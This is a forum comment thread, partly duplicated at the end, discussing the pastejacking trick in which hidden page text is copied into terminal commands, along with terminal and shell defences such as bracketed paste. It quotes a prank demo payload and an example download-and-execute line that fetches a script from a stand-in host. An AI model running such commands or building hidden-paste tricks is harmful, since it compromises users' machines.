Re:Look before you paste from a website to terminal
by M4v3R on Thursday January 26, 2017 @08:04AM
(#13490969)
Not sure if this is iTerm2 or zsh, but I have to confirm the code I am pasting by pressing enter, which gives me an opportunity to review it first. I like this feature a lot.
Re:Look before you paste from a website to terminal
by d0mine on Friday January 27, 2017 @09:28AM
(#13499950)
There is safe-paste plugin for oh-my-zsh and you can enable the bracketed paste mode in Bash too by adding set enable-bracketed-paste on to your ~/.inputrc. https://cirw.in/blog/bracketed-paste
Re:Look before you paste from a website to terminal
by TallGuyShort on Thursday January 26, 2017 @10:27AM
(#13492077)
Others have said it's a feature of iTerm2 (which I don't know about), but it's also a feature of zsh. I use KTerm and it definitely didn't do this with bash, but it does it with zsh.
Re:Look before you paste from a website to terminal
by annnnd on Thursday January 26, 2017 @08:41AM
(#13491190)
Even more interesting: given the plethora of options terminals have for coloring, moving, erasing and similar, is it possible to hide malicious input from the shell too so that the victim is unaware of it?
Re:Look before you paste from a website to terminal
by beejiu on Thursday January 26, 2017 @08:41AM
(#13491183)
Yes. If you have multiline code, you can just add whitespace to the first line and it will appear outside of the code element. At least OS X, you cannot see a scroll bar.
Re:Look before you paste from a website to terminal
by godelski on Thursday January 26, 2017 @11:43AM
(#13492844)
In zsh I can paste (or paste) into the browser (FF) I get
ls ; clear; echo 'Haha! You gave me access to your computer with sudo!'; echo -ne 'h4cking ## (10%)\r'; sleep 0.3; echo -ne 'h4cking ### (20%)\r'; sleep 0.3; echo -ne 'h4cking ##### (33%)\r'; sleep 0.3; echo -ne 'h4cking ####### (40%)\r'; sleep 0.3; echo -ne 'h4cking ########## (50%)\r'; sleep 0.3; echo -ne 'h4cking ############# (66%)\r'; sleep 0.3; echo -ne 'h4cking ##################### (99%)\r'; sleep 0.3; echo -ne 'h4cking ####################### (100%)\r'; echo -ne '\n'; echo 'Hacking complete.'; echo 'Use GUI interface using visual basic to track my IP'
ls -lat
Which seems like it would be pretty stupid for me to press enter. Which if we're talking security it seems to more sane thing to do is not automatically send commands that are pasted in. Zsh being secure and bash not. I feel this is more a developer issue than user.
Re:Look before you paste from a website to terminal
by gumby on Thursday January 26, 2017 @01:49PM
(#13494081)
> Which seems like it would be pretty stupid for me to press enter. Which if we're talking security it seems to more sane thing to do is not automatically send commands that are pasted in. Zsh being secure and bash not. I feel this is more a developer issue than user.
A triple click selection will copy the whole line including the newline. So a paste will execute it as well.
Re:Look before you paste from a website to terminal
by throwaway2016a on Thursday January 26, 2017 @11:46AM
(#13492876)
It would be better if it was a curl piped to bash. Also, I'd love it if there was a curl at the beginning of this to track stats on how many people run it.
Although I suspect the stats would be poisoned by people doing forensics.
Edit: also, I wonder how many things it would break if browser changed copy to only copy visible text.
Re:Look before you paste from a website to terminal
by esseti on Thursday January 26, 2017 @08:02AM
(#13490958)
this should be explited by stack overflow to have a counter on which lines were copied and how many times. With this counter one could know what's the best answer used by many :)
Re:Look before you paste from a website to terminal
by sly010 on Thursday January 26, 2017 @09:27AM
(#13491563)
I already paste everything longer than a single line to my non-terminal text editor (e.g. sublime) before I paste it to my terminal or vim. Perhaps I should start doing this for everything.
Re:Look before you paste from a website to terminal
by zupreme on Thursday January 26, 2017 @11:08AM
(#13492479)
This is a valid danger but the author goes a bit far with the sudo warning. Unless you're logged in as root to most systems (in which case sudo likely won't be needed to screw your system up) using sudo would result in a password being requested which, I would hope, the user would see as a red flag, especially if they are technical enough to be locating and testing script snippets.
Re:Look before you paste from a website to terminal
by carlesfe on Thursday January 26, 2017 @08:37AM
(#13491152)
I feel that we are not exactly the target audience for this kind of tip. Linux forums are full of code snippets that people blindly copy and paste so this is clearly an extended behavior
In any case, most newbies wouldn't even understand whether a command is malicious or not (e.g. `wget http://hax0r.com/exploit.sh; bash exploit.sh`), but I wouldn't say the tip is worthless...
Re:Look before you paste from a website to terminal
by libreminded on Thursday January 26, 2017 @08:24AM
(#13491075)
or you could just copy the code-snippet by placing the mouse next to character 'l' of 'ls' and mark it with shift+right arrow key.
Each selected character and of course white space gets highlighted. When you highlighted the white space next to 'ls' on the right next highlighted character should be '-' but i keeps on marking seemingly forever. If you paste that you'll see that every single character of 'invisible' code gets marked.
Re:Look before you paste from a website to terminal
by bjt2n3904 on Thursday January 26, 2017 @08:36AM
(#13491143)
The "fix" to this problem is not to let your browser hook Ctrl+C. Mozilla, if you're listening, could you perhaps make this an option? Or perhaps display a notice if you notice JS hook on Ctrl+C?
Re:Look before you paste from a website to terminal
by chr1 on Thursday January 26, 2017 @09:04AM
(#13491381)
The example in the article doesn't use javascript, and doesn't hook Ctrl-C, all it uses is simple css.
The problem here is not related to the browsers at all, the problem is on the terminal side, which should not immediately run and random text that was pasted, but should allow editing the pasted text before running.
Re:Look before you paste from a website to terminal
by chaosfox on Thursday January 26, 2017 @11:02AM
(#13492430)
I am not sure the browser is free of blame here, getting invisible characters copied together with the text I selected goes completely against my expectations.
Re:Look before you paste from a website to terminal
by brod on Friday January 27, 2017 @06:58AM
(#13499227)
this could be considered a handy feature in a different scenario, the browser shouldn't be responsible for checking if the text you copied was visible.
Just get a half decent terminal, many have precautions in place for copy/paste.
Re:Look before you paste from a website to terminal
by akerro on Thursday January 26, 2017 @08:44AM
(#13491212)
On zsh I had to press enter manually after pasting the code, before I pasted it I could see 4 lines of code.
Just don't let terminals auto-accept pasted code, require user interaction. That is attack on user from clipboard generally, not from browser on terminal, so why browsers should protect clipboards?
https://news.ycombinator.com/item?id=10554679
https://news.ycombinator.com/item?id=5508225
http://thejh.net/misc/website-terminal-copy-paste
This problem appears to me on iTerm2 build 2.1
It would almost certainly be possible form a great many similar forums and bulletin-board like sites though.
With so many "unprintables" combined with things like the RTL and LTR control characters I think it would be possible on some level.
- Ctrl-X Ctrl-E: open the default text editor on your system
- paste your snipet here and review it
- save the snipet in your editor, it is now run.
ls ; clear; echo 'Haha! You gave me access to your computer with sudo!'; echo -ne 'h4cking ## (10%)\r'; sleep 0.3; echo -ne 'h4cking ### (20%)\r'; sleep 0.3; echo -ne 'h4cking ##### (33%)\r'; sleep 0.3; echo -ne 'h4cking ####### (40%)\r'; sleep 0.3; echo -ne 'h4cking ########## (50%)\r'; sleep 0.3; echo -ne 'h4cking ############# (66%)\r'; sleep 0.3; echo -ne 'h4cking ##################### (99%)\r'; sleep 0.3; echo -ne 'h4cking ####################### (100%)\r'; echo -ne '\n'; echo 'Hacking complete.'; echo 'Use GUI interface using visual basic to track my IP' ls -lat
Which seems like it would be pretty stupid for me to press enter. Which if we're talking security it seems to more sane thing to do is not automatically send commands that are pasted in. Zsh being secure and bash not. I feel this is more a developer issue than user.
A triple click selection will copy the whole line including the newline. So a paste will execute it as well.
Although I suspect the stats would be poisoned by people doing forensics.
Edit: also, I wonder how many things it would break if browser changed copy to only copy visible text.
[1] - https://cirw.in/blog/bracketed-paste
In any case, most newbies wouldn't even understand whether a command is malicious or not (e.g. `wget http://hax0r.com/exploit.sh; bash exploit.sh`), but I wouldn't say the tip is worthless...
Each selected character and of course white space gets highlighted. When you highlighted the white space next to 'ls' on the right next highlighted character should be '-' but i keeps on marking seemingly forever. If you paste that you'll see that every single character of 'invisible' code gets marked.
The problem here is not related to the browsers at all, the problem is on the terminal side, which should not immediately run and random text that was pasted, but should allow editing the pasted text before running.
Just get a half decent terminal, many have precautions in place for copy/paste.
Just don't let terminals auto-accept pasted code, require user interaction. That is attack on user from clipboard generally, not from browser on terminal, so why browsers should protect clipboards?